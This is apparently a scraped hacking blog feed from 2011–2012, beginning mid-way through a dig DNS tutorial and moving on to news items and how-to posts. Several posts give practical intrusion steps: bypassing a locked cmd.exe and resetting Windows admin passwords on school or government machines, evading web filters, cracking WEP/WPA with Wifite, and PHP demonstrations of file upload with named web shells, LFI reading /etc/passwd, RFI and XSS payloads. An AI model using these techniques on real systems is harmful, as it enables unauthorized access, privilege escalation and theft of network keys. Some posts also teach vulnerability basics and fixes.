centos.org.             60      IN      A       72.232.194.162

You can also combine record type with the -f option. The following example displays the MX records of multiple websites that are located in the names.txt file.

$ dig -f names.txt MX +noall +answer
redhat.com.             600     IN      MX      10 mx2.redhat.com.
redhat.com.             600     IN      MX      5 mx1.redhat.com.
centos.org.             3600    IN      MX      10 mail.centos.org.

Query multiple websites from dig command line:

You can also query multiple websites from the dig command line as shown below. The following example queries MX record for redhat.com, and NS record for centos.org from the command line

$ dig redhat.com mx +noall +answer centos.org ns +noall +answer

; <<>> DiG 9.7.3-RedHat-9.7.3-2.el6 <<>> redhat.com mx +noall +answer centos.org ns +noall +answer
;; global options: +cmd
redhat.com.             332     IN      MX      10 mx2.redhat.com.
redhat.com.             332     IN      MX      5 mx1.redhat.com.
centos.org.             3778    IN      NS      ns3.centos.org.
centos.org.             3778    IN      NS      ns4.centos.org.
centos.org.             3778    IN      NS      ns1.centos.org.

10. Use $HOME/.digrc File to Store Default dig Options

If you are always trying to view only the ANSWER section of the dig output, you don’t have to keep typing “+noall +answer” on your every dig command. Instead, add your dig options to the .digrc file as shown below.

$ cat $HOME/.digrc
+noall +answer

Now anytime you execute dig command, it will always use +noall and +answer options by default. Now the dig command line became very simple and easy to read without you have to type those options every time.

$ dig redhat.com
redhat.com.             60      IN      A       209.132.183.81

$ dig redhat.com MX
redhat.com.             52      IN      MX      5 mx1.redhat.com.
redhat.com.             52      IN      MX      10 mx2.redhat.com.

NSA opens massive cryptologic center in Georgia

noreply@blogger.com (h4ckfreak) — Sun, 11 Mar 2012 07:30:00 +0000

The National Security Agency/Central Security Service officially opened the new NSA/CSS Georgia Cryptologic Center.

The $286 million complex will provide cryptologic professionals with the latest state-of-the-art tools to conduct signals intelligence operations, train the cryptologic workforce, and enable global communications.

NSA/CSS has had a presence in Georgia for over 16 years on Ft. Gordon, when only 50 people arrived to establish one of NSA’s Regional Security Operations Centers.

“This new facility will allow the National Security Agency to work more effectively and efficiently in protecting our homeland,” said Sen. Saxby Chambliss. “It will also attract more jobs to the Augusta area. The opening of this complex means that Georgians will play an even greater role in ensuring the safety and security of our nation.”

The new NSA/CSS Georgia Cryptologic Center is another step in the NSA’s efforts to further evolve a cryptologic enterprise that is resilient, agile, and effective to respond to the current and future threat environment.

NSA/CSS opened a new facility in Hawaii in January 2012 and is also upgrading the cryptologic centers in Texas and Denver to make the agency’s global enterprise even more seamless as it confronts the increasing challenges of the future.

Get paid 100USD From Amazon, Just do this Survey in Web App Security

noreply@blogger.com (h4ckfreak) — Sat, 10 Mar 2012 19:21:00 +0000

So Long time Not blogging at all, since from the day i signed for my CCNA and CCNP Classess, Course are going are pretty good learned a lot with hand on with cisco routers and switches now am back on with some serious deal Here its

if u are a Pen tester or Web App security consultant here its for u, Just answer fr this 25 questions and u could be a lucky winner to win 100USD From amazon

Some of the questions can be perceived as difficult to answer. However, if all this data was known, or easy to identify, there would be no reason to gather estimates on the topic. Consequently, we ask that you complete this survey and provide us with your beliefs and best estimates, even if you are uncertain about the answer to the questions asked. Also, the answer format will enable you to account for this uncertainty.

By completing this survey you will:

Help the community to quantify the effort required to find vulnerabilities in web applications.
Be able to compare your answers to the answers of others.
Have a chance to win a 100 USD gift certificate on Amazon.

The survey consists of 24 questions spread out over 8 pages (this page being the first). After completing the survey you will receive a link that displays your answers and compares them to aggregates of all answers received. The survey will remain active until the 22nd of March 2012.

If you have cookies enabled you will be able to use this browser to return to an uncompleted survey for two weeks. In other cases, the below link can be used to return to your survey at any point in time until the survey closes.

Permanent link to your survey: http://surveys.ics.kth.se/WASecurity/?respondent=088414147114D13BF8FB68D58621B20C

Unlocking cmd.exe Locked by Admin

noreply@blogger.com (h4ckfreak) — Wed, 07 Mar 2012 09:06:00 +0000

Running a Locked cmd.exe

First Way

Open up 'Notepad' or a similar text editor.
Type in "start" with no quotations.
Save it as a .bat file. i.e. fakecmd.exe
Double-click it to run.

That's the easiest way, but not always guaranteed to work. Here's a better way that will work

Second Way

Open up your text editor.

Put the following:

Code:

@echo off
  command
  comand.com
  pause

Save it as a .bat file
Double-click it, and voila!

Now that I had that going, I was able to gain access to all of the C: drive. I then ran a net user batch file and added my user to the admin group giving me full control. I was tempted to format and install Ubuntu but decided not to. Didn't want to get arrested and go to jail for destroying government property. It was fun tho.

Anyway, that's about it, enjoy.

Changing Admin password

noreply@blogger.com (h4ckfreak) — Wed, 07 Mar 2012 09:04:00 +0000

Ok, here we go.

First off, this might not work, depends on if the computer is correctly protected or not.
Second, if you do have the download power and time you will want to go to the previous thread and learn from that dude because he knows what he is doing. I am pretty sure everyone here knows how to do this trick but if you dont you might want to learn it.

I will start off with the unprotected kind of computer. You goto the start button and click on the icon/button on the lower-right hand corner that says "run". Type in the letters "cmd" or "command", both will work for this trick but be warned, they are different. Once you see the otherwise customized black and white lettering screen, you know that you typed it in right . Next, you type in the words "net users" or "net user", they are the same. Once the command completes, you will see a screen that lists all the users on the computer. Make sure you see your target user, because if you dont then you might be connected through a different server (which makes it a little more complicated ). Once you see your target user, type the words "net user [target] *". Make sure you include a space between the user and the astarix*, otherwise the command might not work correctly. Type in the SAME password for both fields, but you will not see what you are typing. Push enter to go from the first field to the second field and enter again to go from the second field to finishing the command. If the words "The command completed successfully." pop-up on the screen, the password has been changed into the password you typed, without the original password !

Ok, now we move onto the more protected computer . Some computers, such as school computers, do not have the run button on the start menu. In these cases, you need to do different ways (such as what I have done to my school computer ). First, you need to make sure you have notepad. If you see the notepad icon under the start>programs>accessories>notepad, then skip the next paragraph and move on.

In order to get notepad even when it is blocked, you need to do just one thing, which is what I am going to explain. First, make a useless file. The file can be anything from .doc to a .exe. Make sure you get this file into the "My Documents" folder of the computer. Once you have completed this, click on the file (just once) and click "file(upper part of the screen)>open with...". When the "Open With..." screen pops up, you may get a screen that asks you two things, "Use web service..." and "Browse...". You want to browse. When you get to the browse screen, click the notepad icon, then click "OK". Click on the new text file twice to open notepad. There should be a whole bunch of characters on the screen, and you dont want these. Just goto "File>New" to get a whole, clean, grand spanking new text document. Save this "as" "notepad.txt" on the desktop. You now have the notepad feature "hacked" onto the desktop. Continue onto the next step...

Ok, open the command prompt using notepad you open notepad up and type "command.com" or "cmd". "Cmd" might not work if you have certain restrictions but "command.com" should always work. Save the file to the desktop as "command.bat". Make sure you include the ".bat" otherwise this step cannot be completed. The file should be saved to the desktop and look like a windows app window with gears in the middle. Click the file and goto the first step to change the passwords .

Like I have already said, this way might not work on certain Windows Xp computers and you would have to use the iso image way. Anywho, I know that this tutorial looked intimidating at first, but I bet it was worth it!! Always remember that in order to become a hacker, you have to do a lot of reading

Stay Highly Anonymous

noreply@blogger.com (h4ckfreak) — Wed, 07 Mar 2012 08:56:00 +0000

Lets pretend for a moment that the Internet is made up of 26 websites, A-Z. The web filter blocks your browser from accessing sites X-Z, but not sites A-W. Simply make the browser think you--„¢re going to A-
W. There are a variety of ways to do this:

Proxy Servers:
This is a list of http proxies. These sites may not be up forever, so you may need to search for --“free http proxy--� or --“public proxy servers--� or other similar terms.

Proxy server lists:
-- http://www.aliveproxy.com
-- http://www.multiproxy.org
-- http://www.publicproxyservers.com/index.html
-- http://www.tehbox.com/proxy
-- http://www.proxz.com
-- http://www.proxy4free.com/index.html
-- http://free-proxies.com

Now that you have a list of proxies, you would open IE (internet explorer) and click on Tools > Internet Options > Connections > LAN Settings > Advanced. Enter the address and port of one of the servers from the list in the proper area (http) and make sure the --“use a proxy server for your LAN--� option is selected. Remember to replace the proxy and port at your terminal to the original when you're done.

*Note: Some proxies listed may not work, and this method may decrease your surfing speed. By trying various entries, you--„¢ll find one that works, or works faster.

The infamous translation trick:
Go to a web page translation site and use their services to --“translate a page to English--� thus accessing the blocked page through their trusted site.

You--„¢ll notice that several translation sites are blocked, but by using less popular ones, this method can still be effective. Here is a list of some translation services. Again, these sites may not be up forever, so you may need to search for them.

-- http://babelfish.altavista.com
-- http://world.altavista.com
-- http://translation.langenberg.com
-- http://freetranslation.com/web.thm

Url Scripting:

Url scripting is the easiest method. It works on a select few web filters and is based on the same principal as the translation trick. By typing and address like --“www.yahoo.com@www.restricted_site.com the filter will not go into effect as it recognizes the trusted site (in this case yahoo.com)

Other tricks:
Simply open the command prompt and type:
Ping restricted.com ? restricted.com obviously being the restricted site
At this point you can take down the IP address (ex. 216.109.124.73) and enter it into the browser. If access to the command prompt is also restricted, see --“How to bypass restrictions to get to the command prompt.--� If this article has been taken from information leak, then know that it involves anything from opening the browser, selecting view > source, then saving it as X.bat and opening it to opening a folder or browser and typing in the location of cmd.exe depending on the OS. I will not go into further, as this a completely different topic.

Use https://restrictedsite.com as referring to it as a secured site may confuse the filter.

Note: These are ancient methods that many new filters defend against, but still may be applicable in your situation. If not, a little history never hurt anyone.

Web based Proxies:
Another one of the easier, yet effective methods include web based proxies. These are simple in the fact that you just enter the restricted address and surf! Some of these have some restrictions, like daily usage limits, etc but you can also use another proxy (perhaps one that sucks, like a text only) to bypass their restrictions as well. Here is a list of some:

-- http://proxify.com]http://proxify.com
-- http://www.anonymizer.com/index.cgi]http://www.anonymizer.com/index.cgi
-- http://www.guardster.com/]http://www.guardster.com/
-- http://anonymouse.ws/anonwww.html]http://anonymouse.ws/anonwww.html
-- http://www.the-cloak.com/login.html]http://www.the-cloak.com/login.html
-- https://www.megaproxy.com/freesurf]https://www.megaproxy.com/freesurf
-- http://www.anonymizer.ru]http://www.anonymizer.ru
-- https://nadaily.com/cgi-bin/nph-proxyb.cgi]https://nadaily.com/cgi-bin/nph-proxyb.cgi
-- http://www.userbeam.de/cgi-bin/nph-userbeam.cgi]http://www.userbeam.de/cgi-bin/nph-userbeam.cgi
-- http://www.free2.surffreedom.com/nph-free.cgi]http://www.free2.surffreedom.com/nph-free.cgi

Proxy Programs:
There are many proxy programs that allow you to surf anonymously that are more or less based on the same topics we--„¢ve covered here. I--„¢ve added them just to cover the topic thoroughly:

-- http://www.hotscripts.com/Detailed/28480.html]http://www.hotscripts.com/Detailed/28480.html
-- http://www.inetprivacy.com/a4proxy/anonymous-grc.htm]http://www.inetprivacy.com/a4proxy/anonymous-grc.htm
-- http://www.orangatango.com/home/index.ie.html]http://www.orangatango.com/home/index.ie.html
-- http://www.steganos.com]http://www.steganos.com
-- http://www.anonymization.net]http://www.anonymization.net ? toolbar that requires admin rights to install

Making your own CGI proxy server:

Making your own proxy server may come in handy, but I personally find that simply uploading a txt file/w a list of proxies to a free host makes for a much easier and headache free solution. If you don--„¢t know PERL, there is code out there to help you set it up. Check out these sites for more info:

-- http://httpbridge.sourceforge.net]http://httpbridge.sourceforge.net
-- http://www.jmarshall.com/tools/cgiproxy]http://www.jmarshall.com/tools/cgiproxy

Indian Hacker group threatens Symantec to release AV source code

noreply@blogger.com (h4ckfreak) — Sat, 07 Jan 2012 08:36:00 +0000

Symantec is investigating an Indian hacking group's claims that it accessed source code used in the company's flagship Norton Antivirus program.

A spokesman for the company on Thursday said that one claim by the group was false, while another is still being investigated.
Meanwhile, the Indian group, which calls itself Lords of Dharmaraja, has threatened to publicly disclose the source code shortly.

On Wednesday, the group posted on Pastebin what it claimed was confidential documentation related to Norton AntiVirus source code. A review of the material showed what appears to be a description of an application programming interface (API) for Symantec's AV product.
The group also posted what it claimed was the complete source code tree file for Norton Antivirus. That document appears to have been taken down.

'Yama Tough,' the hacker who posted the documents, released at least two more on Google+ allegedly related to Symantec source code. One of the documents appears to be a detailed technical overview of Norton Anti-Virus,

The document explains how the software is designed to work, but includes no actual source code, the spokesman said.
"However, a second claim has been made by the same group regarding additional source code and we're currently investigating that," he said. "For that one, we don't have any information to provide as of yet." the spokesman said.
Rob Rachwald, director of security strategy at security vendor Imperva said it is hard to know what to make of the hacking group's claims.
"We don't know how much of this is chest thumping" on the part of the hackers, Rachwald said. The source code tree file posted on Pastebin suggests the group has some potentially useful information related to Symantec's AV product, he said. "It is a good indicator, but not a perfect one.

Crack WPA/WPA2 Using Wifite - Latest

noreply@blogger.com (h4ckfreak) — Sun, 01 Jan 2012 17:03:00 +0000

purpose

to attack multiple WEP and WPA encrypted networks at the same time. this tool is customizable to be automated with only a few arguments. wifite can be trusted to run without supervision.

features

this project is available in French: all thanks goto Matt² for his excellent translation!
sorts targets by power (in dB); cracks closest access points first
automatically deauths clients of hidden networks to decloak SSIDs
numerous filters to specify exactly what to attack (wep/wpa/both, above certain signal strengths, channels, etc)
customizable settings (timeouts, packets/sec, channel, change mac address, ignore fake-auth, etc)
"anonymous" feature; changes MAC to a random address before attacking, then changes back when attacks are complete
all WPA handshakes are backed up to wifite.py's current directory
smart WPA deauthentication -- cycles between all clients and broadcast deauths
stop any attack with Ctrl+C -- options: continue, move onto next target, skip to cracking, or exit
switching WEP attack methods does not reset IVs
intel 4965 chipset fake-authentication support; uses wpa_supplicant workaround
SKA support (untested)
displays session summary at exit; shows any cracked keys
all passwords saved to log.txt
built-in updater: ./wifite.py -upgrade

requirements

linux operating system (confirmed working on Ubuntu 8.10 (BT4R1), Ubuntu 10.04.1)
tested working with python 2.4.5 and python 2.5.2; might be compatible with other versions,
wireless drivers patched for monitor mode and injection: backtrack4 has many pre-patched drivers,
aircrack-ng (v1.1) suite: available via apt: apt-get install aircrack-ng or by clicking here,
xterm, python-tk module: required for GUI, available via apt: apt-get install python-tk
macchanger: also available via apt: apt-get install macchanger
pyrit: not required, optionally strips wpa handshake from .cap files

execution

download the latest version:

wget -O wifite.py http://wifite.googlecode.com/svn/trunk/wifite.py

change permissions to executable:

chmod +x wifite.py

execute:

python wifite.py

or, to see a list of commands with info:

./wifite.py -help

snapshot

console mode:

gui mode (default):

examples

the program contains lots of interactivity (waits for user input). these command-line options are meant to make the program 100% automated -- no supervision required.
to crack all WEP access points:

./wifite.py -all -nowpa

to crack all WEP access points with signal strength greater than (or equal to) 50dB:

./wifite.py -p 50 -nowpa

to attack all access points, use 'darkc0de.lst' for cracking WPA handshakes:

./wifite.py -all --dict /pentest/passwords/wordlists/darkc0de.lst

to attack all WPA access points, but do not try to crack -- any captured handshakes are saved automatically:

./wifite.py -all -nowpa --dict none

to crack all WEP access points greater than 50dB in strength, giving 15 minutes for each WEP attack method, and send packets at 600 packets/sec:

./wifite.py --power 50 -wepw 15 -pps 600

to attempt to crack WEP-encrypted access point "2WIRE752" endlessly -- program will not stop until key is cracked or user interrrupts with ^C):

./wifite.py -e "2WIRE752" -wepw 0

thanks to google code

Basics of Arbitary File Upload

noreply@blogger.com (h4ckfreak) — Mon, 19 Dec 2011 21:57:00 +0000

As the name suggests Arbitrary File Upload Vulnerabilities is a type of vulnerability which occurs in web applications if the file type uploaded is not checked, filtered or sanitized.

The main danger of these kind of vulnerabilities is that the attacker can upload a malicious PHP , ASP etc. script and execute it. The main idea is to get the access to the server and execute desired code. for example an Attacker who have gained access to such kind of vulnerability can upload a malicious shell script and further can control the machine to execute desired commands, which would lead to a full compromise of the server and the victim’s server gets owned.

In this tutorial we’ll be looking at a a basic example of a Vulnerable Script and How to exploit it. So let’s get started.

Proof of Concept

For the demonstration of a realistic scenario, I have created a basic vulnerable PHP script.

Upload.php

Code:

<?php
   
  /**
   * @author lionaneesh
   * @copyright 2011
   * @page upload.php
   */
   
  // If the upload request has been made , Upload the file
   
  $uploadMessage = "";
   
  if (isset($_POST['upload']))
  {
        $path = $_FILES['uploadFile']['name'];
        if(move_uploaded_file($_FILES['uploadFile']['tmp_name'],$path) == TRUE)
        {
              $uploadMessage = "File Uploaded <a href='$path'>HERE</a>";
        }
  }
   
  ?>
   
  <html>
   
  <head>
   
      <title>Welcome to Vulnerable Apps</title>
   
  </head>
   
  <body>
   
  <h1>Arbitary file upload ( POC )</h1>
  <hr />
   
  <p>Hey all this is a sample php script to upload image files , This script doesn't contains file type checking code which makes it prone to Arbitary file upload vulnerbility. </p>
   
  <hr />
  <h2>Upload</h2>
  <hr />
   
  <table>
  <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" enctype="multipart/form-data">
      <tr>
      
          <td width="100">Upload File </td>
          <td width="380"><input class="cmd" type="file" name="uploadFile"/></td>
          <td><input style="margin-left:20px;" type="submit" name="upload" class="own" value="Upload"/></td>
      
      </tr>
  </form>
  </table>
  <?php
   
  echo $uploadMessage;
   
  ?>
   
  </body>
   
  </html>

In the above script we simply ask the user to input the file to be uploaded and without even checking what the file-type is or its extension we upload it.

This is a basic example of how these bugs occur.

How to exploit it

Now to exploit this common bug is yet simpler, the hacker can simply download any Web Shell-Scripts , Written in PHP , ASP etc.

Some PHP Shells :-

Ani-Shell
[ R57 Shell
C99 Shell

Note: These shells are not intended to be used as this way, author is not responsible for the way in which the user uses it.

Now to exploit this vulnerability the hacker have to carry out some steps :-

Upload the Shell

Go to the link

Gain Access

That's it for this tutorial stay tuned for more.

Tell the World ...

Basics of LFI and RFI Attacks

noreply@blogger.com (h4ckfreak) — Mon, 19 Dec 2011 21:54:00 +0000

Local File Inclusion ( LFI ) is a method of including files on a server through a Modified Special HTTP request. This vulnerability can be exploited using a Web Browser and thus can be very easy to exploit. The vulnerability occurs when a user supplied data without sanitizing is provided to an ‘inclusion type’ (like , include() , require() etc.) . Mostly these attacks are accompanied by Directory Transversal attacks which can reveal some sensitive data leading to further attacks.

Now that’s quite a bit of theory there let’s have a look on a sample vulnerable application.

Demonstration [Proof of Concept]

I have created a pair of files named index.html and lfi.php
lfi.php

Code:

<html>
   <head>
   <title>Vulnerable to LFI -- by lionaneesh</title>
  </head>   
  <body>
   
   <h1>Welcome to this Website</h1>
   
  <?php $page = isset($_GET['page']) ? $_GET['page'] : 'index.html'; ?>
   
   <p>You are currently at <?php echo"<a href='$page'>$page</a>";?></p>
   
   <?php include($page); ?>
   </body>
  </html>

As you see the above code has a include(USER_INPUT) So basically we can input any filename and it will simply print out the contents on the screen. This is the most popular form in which these bugs occur.
index.html

Code:

<p>Hello I am a sample page my name is index.html</p>

Providing normal Input:-
First let’s try and give this app a normal input which it would be expecting.

Input: index.html
Output:-

Code:

Welcome to this Website

  You are currently at index.html
  Hello I am a sample page my name is index.html

It works fine! Now let’s construct the attack string and see what happens!

Constructing the attack string

As I am working on UNIX we’ll print out the contents of /etc/passwd file , The file /etc/passwd is a local source of information about users' accounts.

My present working directory is /var/www/ , So what I have to do is :-

Go back 2 directories and
Then go to /etc/passwd

We can go back 2 directories using ‘../../’

Attack string :-

Code:

../../etc/passwd

Now lets feed this as an input and see what happens.

Input: “ ../../etc/passwd”

Code:

Welcome to this Website

  You are currently at ../../etc/passwd 
  root:x:0:1:Super-User:/root:/sbin/sh 
daemon:x:1:1::/: 
bin:x:2:2::/usr/bin: 
sys:x:3:3::/: 
adm:x:4:4:Admin:/var/adm: 
lp:x:71:8:Line Printer Admin:/usr/spool/lp: 
uucp:x:5:5:uucp Admin:/usr/lib/uucp: 
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/

And voila! We just printed the /etc/passwd file.

Remote File Inclusion

RFI is an abbreviation for Remove File Inclusion and is quite similar to LFI, Remote File Inclusion ( RFI ) is a method of including Remote files(present on another server) on a server through a Modified Special HTTP request. This vulnerability can be exploited using a Web Browser and thus can be very easy to exploit. The vulnerability occurs when a user supplied data without sanitizing is provided to an ‘inclusion type’ (like, include (), require () etc.)

Demonstration [Proof of Concept]

We’ll be using the same sample web-app we used to Demonstrate LFI

Constructing the attack string:-

In our case we want to include go4expert’s index file in our local file.

So what we have to do is, simply provide the URI as an input and see what happens

Input : http://go4expert.com

Output (page source):-

Code:

<html>
<head>
                       <title>Vulnerable to LFI -- by lionaneesh</title>
 </head>

 <body>

 <h1>Welcome to this Website</h1>

  <p>You are currently at <a href='http://go4expert.com'>http://go4expert.com</a>

</p> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html dir="ltr" lang="en" xmlns="http://www.w3.org/1999/xhtml"><head>         <meta http-equiv="Cache-Control" content="no-cache" />        <meta http-equiv="Pragma" content="no-cache" />
        <meta http-equiv="Expires" content="0" />  
<title>Programming and SEO Forums </title> 

<!-- ChartBeat -->

<script type="text/javascript">var _sf_startpt=(new Date()).getTime()</script>

<!-- /ChartBeat --> 

 --------Sniped-----------

Note: In most modern ‘php.ini’ files, allow_url_include is set to off which would not allow a malicious user to include a remote file.

Basics of XSS, How the Logic Works

noreply@blogger.com (h4ckfreak) — Mon, 19 Dec 2011 21:45:00 +0000

Cross Site Scripting also known as XSS is a popular type of Client Site Attack, It is a type of attack which occurs in Web-Applications and allows an attacker to inject desired client-side scripts into Web-Pages viewed by others.

Types of XSS

This attack is mainly of 2 types

Non-Persistent

This type of attack is carried out by injecting some client side code in a Vulnerable URL. Now further the Attacker can spread this URL and send it to his/her victims by means of some social engineering etc , on clicking these links the Victims Unknowingly executes the injected code , Which in turn can result in Cookie stealing , Privacy Disclosure etc.

Persistent

This type of Attack is more dangerous and it occurs when the data provided by the attacker is stored by the server, which is viewed as a normal page to the normal users.
Now Further the Attacker can simply inject some malicious Client Side Code which in turn can result in Defacement of the Website, Cookie Stealing, and Privacy Disclosure etc.

Demo

Now that we know something about what are these type of vulnerabilities and how they occur let’s actually take a look at how these vulnerabilities occur How to test it!
Xss.php

Code: php

<html>
<head>
    <title>Vulnerable to XSS</title>
</head>
</html>
<body>
<h1>Welcome to XSS Demo Page</h1>

<p>The Data Entered is As Follows :- </p>

<?php

/**
 * @author lionaneesh
 * @copyright 2011
 */
 

if(isset($_GET['data']))
{
    $data = $_GET['data'];
}
else
{
    $data = "No Data Entered !";
}

echo "<i>$data</i>";

?>

</body>

Now Just Go to :-

Site.com/path/xss.php?data=<script>alert(“XSS”);</script>

And See what happens!

Wow! An Alert box saying XSS will appear proving that your injected code actually executed! Now this is just an example of how these vulnerabilities can occur in web-applications and how you can test them!

How to Fix Them

If you’re one of the people whose site is vulnerable to this type of attack I recommend fixing it as soon as possible, For the scope of this tutorial I’ll be only covering on how these vulnerabilities can be fixed in PHP , If you are using some other language , I recommend you to check your Language Reference or Contact Me .

PHP Provides a function called htmlspecialchars() which converts the chars into their HTML entities. Now we’ll just use this in the above code and check what happens.
Xss.php (line number 33)

Code: php

echo htmlspecialchars("<i>$data</i>");

Now let’s once more Go to :-

Site.com/path/xss.php?data=<script>alert(“XSS”);</script>

And See what happens!

Voila! U can notice the change now!

That’s all for this tutorial stay tuned for more

For advanced reading click here

Thanks,

Greyhat

Obfuscating PHP

noreply@blogger.com (h4ckfreak) — Mon, 19 Dec 2011 21:36:00 +0000

I must say that hiding or obfuscating is not the most effective ways of security but it’s still effective to keep a Script Kiddy confused about what actually you are using in your server.

As an example - Server may use vulnerable version of PHP, with a public exploit released at some underground markets, Most of the time a simple automated exploit is released to help the “Point-Click-Hackers” (Script Kiddies). Now all they have to find is which Version of PHP you are using and if it is vulnerable, Point the exploit, launch it and own your system. In these cases obfuscating can really help you a lot.

By PHP obfuscation you can hide PHP, Which means you can stop or slow down a hacker attacking your machine.

In this tutorial, we’ll be looking at some of the most popular methods used by Site Administrators to Hide PHP , So let’s get started.

Editing php.ini file

PHP as a default exposes the fact that if it is installed on a server or not, by adding its signature to the Web server header which can really be lethal in some cases.

To set this off , Simply go to your php installation directory under “conf_files” , you can find your standard PHP Configuration file named “php.ini”

Now under this file , go to the “Miscellaneous” section and simply turn expose_php to Off.

Spoofing

By adding a simple line of code you can actually fool an attacker about what service are you using.

Spoof.php

Code: php

<?php
error_reporting(0);
header("X-Powered-By: My Programming Language");
?>

Note: The header call should be made before you send any data to the client.

Using Some Basic Apache Rules

Most Web servers like Apache etc. Can be configured to use some basic rules that would allow to parse different file-types with PHP.

EG:-

A file like index.php, gives a straight clue to the attacker that the server is using php. But if we can use some basic server configuration to actually allow a extension like “.mpl” etc to parse PHP code. The attacker will certainly have no clue about the file extension.

For the Scope of this tutorial I’ll only be covering some Apache Rules/Configurations, but if you need help with some other servers, feel free to comment or PM me.

The configurations can be added either using the .htaccess directive or directly through the Apache Configurations file. Just add the following set of rules

Syntax :-

Code:

AddType application/x-httpd-php .extenstion

Example :-

Code:

AddType application/x-httpd-php .mpl .mp3 .py .asp

Note : Only use those extensions which are normally not used by the server , for example don’t use .txt extension as the server will interpret .txt as PHP code and if it contains some php , it will be executed.

Conclusion

Obfuscation is not the most effective way of security and at most of the times, it doesn’t help, as a professional hacker would already know these modifications and can easily make out what you are trying to hide. But obfuscation would really slow down the attacker and will keep away some script kiddies. It is better to obfuscate than rather telling him what he wants.

The GREAT FIRE"WALL" Of China

noreply@blogger.com (h4ckfreak) — Tue, 13 Dec 2011 12:00:00 +0000